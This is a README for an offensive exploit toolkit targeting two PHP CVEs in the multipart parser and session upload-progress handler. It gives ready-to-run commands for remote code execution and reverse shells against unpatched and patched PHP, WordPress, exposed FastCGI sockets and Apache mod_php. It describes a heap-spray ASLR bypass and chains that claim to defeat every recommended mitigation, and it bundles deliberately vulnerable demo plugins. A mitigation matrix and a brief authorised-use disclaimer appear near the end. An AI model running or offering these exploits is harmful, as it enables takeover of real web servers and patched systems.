# php2shell — CVE-2026-109618 & CVE-2026-109619 Remote Code Execution exploits for two critical PHP vulnerabilities in the multipart parser and session upload progress handler. Includes three bypass exploits that defeat the official security patch and all recommended mitigations, plus a no-LFI chain that removes the application from the attack entirely. **No external dependencies** — pure Python 3 stdlib. ## Vulnerabilities **CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers `zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on disk with attacker-controlled PHP code. LFI includes it for RCE. **CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled data verbatim into the session file. With `cleanup=0`, or via race condition against `cleanup=1`, the poisoned session file is includable via LFI for RCE. **Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35. ## Exploits | Script | Target | Description | |--------|--------|-------------| | `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE | | `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE | | `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** | | `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs | | `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload | | `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | | `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** | | `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules | | `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** | | `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** | | `uaf-rce/rce_exploit.py` | Apache mod_php | OOM → dangling PS(id) → heap spray → full ASLR bypass → **RCE, no LFI, no framework** | ## Prerequisites - Python 3.8+ - Target running PHP-FPM with `session.upload_progress.enabled=1` (default) - A Local File Inclusion vector in the target application - Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`) ## Usage ```bash # CVE-2026-109618: OOM exploit python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id' python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only # Use --no-chunked when nginx has fastcgi_request_buffering off # Use --fields / --field-size to tune OOM threshold for target memory_limit # CVE-2026-109619: Session poisoning (direct or race) python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race # WordPress (auto-detects LFI parameter) python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id' python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id' # Patch bypass: race condition on PHP 8.4.27+ python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id' # Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits) python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id' # Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0 python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345 ``` All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. Use `--session-path` and `--lfi-param` to override auto-detection. ## RCE Without LFI `nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE with **no application include at all**. The consumer is php-fpm's own request routing instead of application code: 1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into `/sess_` during multipart parsing. This fires before script dispatch, so any PHP-handled URL works — a 404 is enough. 2. If `session.save_path` is web-served, the session file is directly requestable over HTTP. 3. With `security.limit_extensions` empty (common in production fpm pools), fpm executes the extensionless session file through the classic `cgi.fix_pathinfo` route: `GET /sessions/sess_/x.php?c=id`. 4. With `cleanup=1` (default) the file is truncated at upload end, so execution is raced against the upload window (reliable on streaming stacks, parse-time-limited on buffering stacks), or made deterministic with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the file persists. Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why the session decoder itself can never be used as the consumer: the `php` serializer aborts the entire write on `|` in any key (leaving a 0-byte file), the raw attacker bytes always land in the key which is never unserialized, and `mod_files` rejects any SID that could turn the filename into an include target. ```bash # classify the target: which URL prefixes serve session.save_path python3 nolfi/exploit_nolfi.py -t http://target/ --probe # interactive command shell via the served session dir python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id' python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444 # deterministic persistence via the OOM bailout instead of the race python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \ --oom --fields 30000 --fsize 512 --cmd 'id' ``` `nolfi/check_deploy.php` reports whether a deployment meets the two preconditions (save_path web-served, empty limit_extensions). Drop it on the target, request it once, remove it. ## RCE via FastCGI (Default Config) `fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port scenarios. The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM worker in the multipart parser (keeping the poisoned session file on disk) while a second FastCGI request to another worker sets `PHP_VALUE: auto_prepend_file = /tmp/sess_`, causing PHP to include the session file before any script. The attacker's PHP code executes. `security.limit_extensions` does not block this: it only restricts `SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting `php_admin_value[auto_prepend_file]` in the pool config also does not help: raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6). ```bash # RCE via direct FastCGI (Docker, Kubernetes, exposed port) python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id' # Unix socket (local access) python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id' # Specify PHP file and session path python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \ --script-file /var/www/html/index.php \ --session-path /tmp --cmd 'id' # Reverse shell python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \ --lhost 10.0.0.1 --lport 4444 ``` See `fcgi/FINDINGS.md` for the full analysis, test results, and why no pool-level configuration can prevent this when FastCGI is reachable. ## UAF RCE (Apache mod_php, No LFI, No Framework) `uaf-rce/rce_exploit.py` exploits the same CVEs through a pure memory corruption path that requires **no LFI, no framework, no libraries, and no non-default PHP settings**. The only SAPI requirement is Apache mod_php with prefork MPM (default on Debian/Ubuntu). Three-stage exploit chain with full ASLR bypass, all over plain HTTP: 1. **Heap leak**: OOM during multipart parsing leaves a dangling `PS(id)` pointer. A second request sprays a fake `zend_string` with `len=0x1000` over the freed slot. `php_session_send_cookie` reads 4096 bytes of heap data into a `Set-Cookie` header, revealing the Zend MM chunk base. 2. **Code leak**: Same mechanism, but the spray places a real `HashTable` at the target slot. The `pDestructor` field leaks the libphp.so base. 3. **RCE**: A fake `HashTable` with `pDestructor = zif_system` and an embedded command string is sprayed onto the heap. Session cleanup calls `zend_hash_destroy` on the fake table, invoking `system(cmd)`. The `post_max_size` limit is bypassed via chunked `Transfer-Encoding`: PHP only checks `Content-Length`, so a chunked request with no `Content-Length` header delivers the full OOM payload (140MB) despite the default 8MB limit. Tested: 5/5 first-attempt RCE on `php:8.4.26-apache`, `php:8.3.35-apache`, and WordPress 6.8.1 on stock PHP, all with zero configuration changes. ```bash # Auto-detect PHP version, look up offsets, exploit python3 uaf-rce/rce_exploit.py -u http://target/index.php # Verify RCE via docker exec python3 uaf-rce/rce_exploit.py -u http://target/ \ --docker-proof CONTAINER /tmp/pwn # Multi-worker Apache python3 uaf-rce/rce_exploit.py -u http://target/ --workers 150 # Custom command (max 14 bytes; use 'sh/tmp/pwn' ``` PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state never persists across requests. See `uaf-rce/README.md` for the full vulnerability analysis, patch details, and offset database. ## Patch Bypass Findings The PHP 8.4.27 patch has three confirmed bypass paths to RCE: **1. Race condition (TOCTOU)** — Session upload progress data exists on disk during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI request includes the file during the upload window. Inherent to the feature design. **2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's `memory_limit` but not from OS-level limits. With `memory_limit=-1` and RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code path. Worker exits code 1 (not the patched code 70), session persists. **3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is includable via `/proc//fd/` from another FPM worker. No session poisoning needed. **Bypasses every recommended mitigation.** **4. Served save_path (no LFI)** — When `session.save_path` is web-served and the fpm pool leaves `security.limit_extensions` empty, the poisoned session file is executed by fpm itself via PATH_INFO routing. No application cooperation, no include primitive. See `nolfi/FINDINGS.md`. **5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker drips a multipart upload via raw FastCGI to hold a worker in the parser while a second request sets `PHP_VALUE: auto_prepend_file=`. No LFI, no special config, no library. `php_admin_value` does not block it. See `fcgi/FINDINGS.md`. ### Mitigation Matrix | Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend | |---|---|---|---|---|---| | Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL | | + `upload_progress=0` | OK | OK | **FAIL** | OK | OK | | + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL | | + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK | | + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** | | + save_path not web-served | — | — | — | OK | **FAIL** | | + block FPM network access | — | — | — | — | OK | | Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** | ### Recommendations 1. Set `session.upload_progress.enabled=0` in php.ini 2. Mount /proc with `hidepid=2` (or `hidepid=invisible`) 3. Fix any LFI vulnerabilities in applications 4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool 5. Keep `session.save_path` outside any web-served tree 6. Set `open_basedir` to restrict filesystem access 7. Block network access to FPM: use unix sockets with restricted permissions, firewall TCP port 9000 ## WordPress The WordPress exploit requires a plugin that calls `session_start()` and has an LFI vector. Two demo plugins are included: - `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI - `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with template preview, log viewer, and session-based features Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/` ## Disclaimer For authorized security testing and research only. Obtain proper authorization before testing against any system you do not own.